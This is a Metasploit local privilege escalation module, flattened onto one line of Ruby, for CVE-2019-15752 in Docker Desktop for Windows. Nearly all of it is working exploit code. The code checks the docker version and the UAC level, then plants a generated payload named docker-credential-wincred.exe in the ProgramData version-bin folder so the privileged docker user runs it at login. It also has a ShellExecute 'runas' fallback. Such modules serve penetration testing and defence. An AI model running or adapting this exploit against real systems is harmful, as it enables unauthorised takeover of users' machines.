Docker-Credential-Wincred.exe – Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Post::Windows::Priv include Post::Windows::Runas def initialize(info = {}) super( update_info( info, 'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation', 'Description' => %q{ This exploit leverages a vulnerability in docker desktop community editions prior to 2.1.0.1 where an attacker can write a payload to a lower-privileged area to be executed automatically by the docker user at login. }, 'License' => MSF_LICENSE, 'Author' => [ 'Morgan Roman', # discovery 'bwatters-r7', # metasploit module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [[ 'Automatic', {} ]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'DisclosureDate' => '2019-07-05', 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['CVE', '2019-15752'], ['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e'] ] ) ) register_options( [OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])] ) end def docker_version output = cmd_exec('cmd.exe', '/c docker -v') vprint_status(output) version_string = output.match(/(\d+\.)(\d+\.)(\d)/)[0] Gem::Version.new(version_string.split('.').map(&:to_i).join('.')) end def check if docker_version <= Gem::Version.new('18.09.0') return CheckCode::Appears end CheckCode::Safe end def exploit check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end # make payload docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin") fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path) payload_name = 'docker-credential-wincred.exe' payload_pathname = "#{docker_path}\\#{payload_name}" vprint_status('Making Payload') payload = generate_payload_exe # upload Payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) vprint_status('Payload Upload Complete') print_status('Waiting for user to attempt to login') end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false end end |